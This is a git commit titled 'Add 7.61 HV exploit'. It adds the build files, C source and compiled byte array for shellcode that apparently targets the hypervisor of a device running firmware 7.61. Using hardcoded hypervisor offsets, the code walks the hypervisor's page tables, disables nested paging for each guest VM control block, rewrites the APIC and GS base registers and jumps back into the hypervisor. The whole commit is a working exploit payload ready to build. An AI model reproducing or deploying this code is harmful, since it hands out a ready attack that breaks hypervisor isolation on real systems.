Add 7.61 HV exploit.

2026-07-15 21:42:27 +00:00 · 2026-06-30 10:44:21 +02:00
parent 5a5aab694b
commit 975e57ccd2
16 changed files with 421 additions and 6 deletions
--- a/shellcode_0607/Makefile
+++ b/shellcode_0607/Makefile
@@ -0,0 +1,34 @@
+ifeq ($(shell uname -m),aarch64)
+CC      = x86_64-linux-gnu-gcc
+LD      = x86_64-linux-gnu-ld
+OBJCOPY = x86_64-linux-gnu-objcopy
+else
+CC      = gcc
+LD      = ld
+OBJCOPY = objcopy
+endif
+CFLAGS  = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
+LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
+TARGET  = shellcode_0607.elf
+TEXT_BIN = shellcode_0607.bin
+dump = shellcode_0607.h
+
+SRC = main.c utils.c
+OBJ = $(SRC:.c=.o)
+
+all: $(dump)
+
+$(TARGET): $(OBJ)
+	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+%.o: %.c
+	$(CC) $(CFLAGS) -c $< -o $@
+
+$(TEXT_BIN): $(TARGET)
+	$(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
+
+clean:
+	rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
+
+$(dump): $(TEXT_BIN)
+	xxd -i $(TEXT_BIN) > $(dump)
--- a/shellcode_0607/linker.ld
+++ b/shellcode_0607/linker.ld
@@ -0,0 +1,18 @@
+/* linker.ld */
+ENTRY(main)
+
+SECTIONS
+{
+    . = 0x1000; /* 0x1000 to avoid warnings from linker */
+    /* Place our custom header first */
+    .shell_code :
+    {
+        *(.entry_point)
+        *(.text)
+        *(.text.*)
+        *(.data*)
+        *(.rodata*)
+        *(.bss)
+        *(.bss.*)
+    }
+}
--- a/shellcode_0607/main.c
+++ b/shellcode_0607/main.c
@@ -0,0 +1,52 @@
+#include "utils.h"
+
+// 7.61 offsets
+#define HV_REENTER_HYPERCORE 0x0000000062806380
+#define HV_STACK_TABLE 0x000000006282E120
+#define HV_PML4 0x000000006282E1A0
+#define HV_ENTRY 0x000000006282E1B8
+#define HV_MAIN 0x0000000000000E20
+#define G_VM_TAB 0x0000000000027C80
+
+#define MSR_APICBASE 0x01b
+#define MSR_GSBASE 0xc0000101
+
+#define DEFAULT_APIC_BASE 0xfee00000
+
+#define APICBASE_ENABLED 0x00000800
+#define APICBASE_BSP 0x00000100
+
+#define NESTED_CTRL_NP_ENABLE 0x1
+
+__attribute__((section(".entry_point"), naked)) uint32_t main(void) {
+  uint64_t hv_pml4 = *(uint64_t *)HV_PML4;
+  uint64_t hv_base = *(uint64_t *)HV_ENTRY - HV_MAIN;
+
+  uintptr_t *g_vm_tab =
+      (uintptr_t *)vtophys_custom(hv_base + G_VM_TAB, hv_pml4);
+  for (int i = 0; i < 16; i++) {
+    uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4);
+    uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4);
+
+    if (i == 0) {
+      // Restore guest_apic_base.
+      *(uint64_t *)(vc + 0xe8) =
+          DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP;
+    }
+
+    // Disable nested paging.
+    *(uint64_t *)(vmcb + 0x90) &= ~NESTED_CTRL_NP_ENABLE;
+  }
+
+  // Restore host apic base.
+  wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP);
+
+  // Restore gs base.
+  wrmsr(MSR_GSBASE, ((uint64_t *)HV_STACK_TABLE)[0] + 0x1000);
+
+  // Reenter hypercore.
+  void (*hv_reenter_hypercore)(void) = (void *)HV_REENTER_HYPERCORE;
+  hv_reenter_hypercore();
+  while (1)
+    ;
+}
--- a/shellcode_0607/shellcode_0607.h
+++ b/shellcode_0607/shellcode_0607.h
@@ -0,0 +1,34 @@
+unsigned char shellcode_0607_bin[] = {
+  0x4c, 0x8b, 0x2c, 0x25, 0xa0, 0xe1, 0x82, 0x62, 0x48, 0x8b, 0x04, 0x25,
+  0xb8, 0xe1, 0x82, 0x62, 0x31, 0xdb, 0x48, 0x8d, 0xb8, 0x60, 0x6e, 0x02,
+  0x00, 0x4c, 0x89, 0xee, 0xe8, 0x9f, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc5,
+  0x66, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90,
+  0x48, 0x8b, 0x7d, 0x00, 0x4c, 0x89, 0xee, 0xe8, 0x84, 0x00, 0x00, 0x00,
+  0x4c, 0x89, 0xee, 0x48, 0x8b, 0x78, 0x08, 0x49, 0x89, 0xc4, 0xe8, 0x75,
+  0x00, 0x00, 0x00, 0x85, 0xdb, 0x74, 0x19, 0x83, 0xc3, 0x01, 0x48, 0x83,
+  0xa0, 0x90, 0x00, 0x00, 0x00, 0xfe, 0x83, 0xfb, 0x10, 0x74, 0x29, 0x48,
+  0x83, 0xc5, 0x08, 0xeb, 0xcb, 0x0f, 0x1f, 0x00, 0xba, 0x00, 0x09, 0xe0,
+  0xfe, 0x48, 0x83, 0xc5, 0x08, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x49, 0x89,
+  0x94, 0x24, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xa0, 0x90, 0x00, 0x00,
+  0x00, 0xfe, 0xeb, 0xa8, 0xbe, 0x00, 0x09, 0xe0, 0xfe, 0xbf, 0x1b, 0x00,
+  0x00, 0x00, 0xe8, 0xc9, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x25, 0x20,
+  0xe1, 0x82, 0x62, 0xbf, 0x01, 0x01, 0x00, 0xc0, 0x48, 0x8d, 0xb0, 0x00,
+  0x10, 0x00, 0x00, 0xe8, 0xb0, 0x00, 0x00, 0x00, 0xb8, 0x80, 0x63, 0x80,
+  0x62, 0xff, 0xd0, 0xeb, 0xfe, 0x0f, 0x1f, 0x80, 0x00, 0x00, 0x00, 0x00,
+  0x48, 0x89, 0xf8, 0x81, 0xe6, 0x00, 0xf0, 0xff, 0xff, 0x48, 0xc1, 0xe8,
+  0x27, 0x25, 0xff, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x14, 0xc6, 0x48, 0x89,
+  0xd0, 0x83, 0xe0, 0x01, 0x74, 0x72, 0xb9, 0x1e, 0x00, 0x00, 0x00, 0x31,
+  0xf6, 0x49, 0xb8, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x48,
+  0x89, 0xf8, 0x4c, 0x21, 0xc2, 0x48, 0xd3, 0xe8, 0x25, 0xff, 0x01, 0x00,
+  0x00, 0x48, 0x8b, 0x14, 0xc2, 0x48, 0x89, 0xd0, 0x83, 0xe0, 0x01, 0x74,
+  0x47, 0x83, 0xfe, 0x02, 0x75, 0x12, 0x4c, 0x21, 0xc2, 0x81, 0xe7, 0xff,
+  0x0f, 0x00, 0x00, 0x48, 0x89, 0xd0, 0x48, 0x09, 0xf8, 0xc3, 0x66, 0x90,
+  0x83, 0xc6, 0x01, 0x83, 0xe9, 0x09, 0xf6, 0xc2, 0x80, 0x74, 0xc4, 0x83,
+  0xfe, 0x01, 0xb9, 0xff, 0xff, 0xff, 0x3f, 0xb8, 0xff, 0xff, 0x1f, 0x00,
+  0x48, 0x0f, 0x44, 0xc1, 0x48, 0xb9, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff,
+  0x0f, 0x00, 0x48, 0x21, 0xca, 0x48, 0x21, 0xf8, 0x48, 0x09, 0xd0, 0xc3,
+  0xc3, 0x66, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x0f, 0x1f, 0x40, 0x00, 0x48, 0x89, 0xf2, 0x48, 0x89, 0xf0, 0x89, 0xf9,
+  0x48, 0xc1, 0xea, 0x20, 0x0f, 0x30, 0xc3
+};
+unsigned int shellcode_0607_bin_len = 367;
--- a/shellcode_0607/utils.c
+++ b/shellcode_0607/utils.c
@@ -0,0 +1,35 @@
+#include "utils.h"
+#include <cpuid.h>
+
+uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom) {
+  uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
+
+  for (int level = 0; level < 4; level++) {
+    int shift = 39 - (level * 9);
+    uint64_t idx = (va >> shift) & 0x1FF;
+    uint64_t entry;
+    uint64_t entry_va = PAGE_PA(table_phys) + idx * 8;
+
+    entry = *(uint64_t *)entry_va;
+
+    if (!PAGE_P(entry))
+      return 0;
+
+    if ((level == 1 || level == 2) && PAGE_PS(entry)) {
+      uint64_t page_size = P_SIZE(level);
+      return PAGE_PA(entry) | (va & (page_size - 1));
+    }
+
+    if (level == 3)
+      return PAGE_PA(entry) | (va & 0xFFF);
+
+    table_phys = PAGE_PA(entry);
+  }
+  return 0;
+}
+
+void wrmsr(uint32_t msr, uint64_t val) {
+  uint32_t low = val & 0xFFFFFFFF;
+  uint32_t high = val >> 32;
+  __asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr));
+}
--- a/shellcode_0607/utils.h
+++ b/shellcode_0607/utils.h
@@ -0,0 +1,37 @@
+#ifndef UTILS_H
+#define UTILS_H
+
+#include <stdint.h>
+
+// Defines for Page management
+enum page_bits {
+  P = 0,
+  RW,
+  US,
+  PWT,
+  PCD,
+  A,
+  D,
+  PS,
+  G,
+  XO = 58,
+  PK = 59,
+  NX = 63
+};
+
+#define PG_B_P (1ULL << P)
+#define PG_B_RW (1ULL << RW)
+#define PAGE_P(x) (x & (1ULL << P))
+#define PAGE_RW(x) (x & (1ULL << RW))
+#define PAGE_PS(x) (x & (1ULL << PS))
+#define PAGE_XO(x) (x & (1ULL << XO))
+#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
+#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
+#define PAGE_SET_RW(x) (x |= (1ULL << RW))
+#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
+#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
+
+uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom);
+void wrmsr(uint32_t msr, uint64_t val);
+
+#endif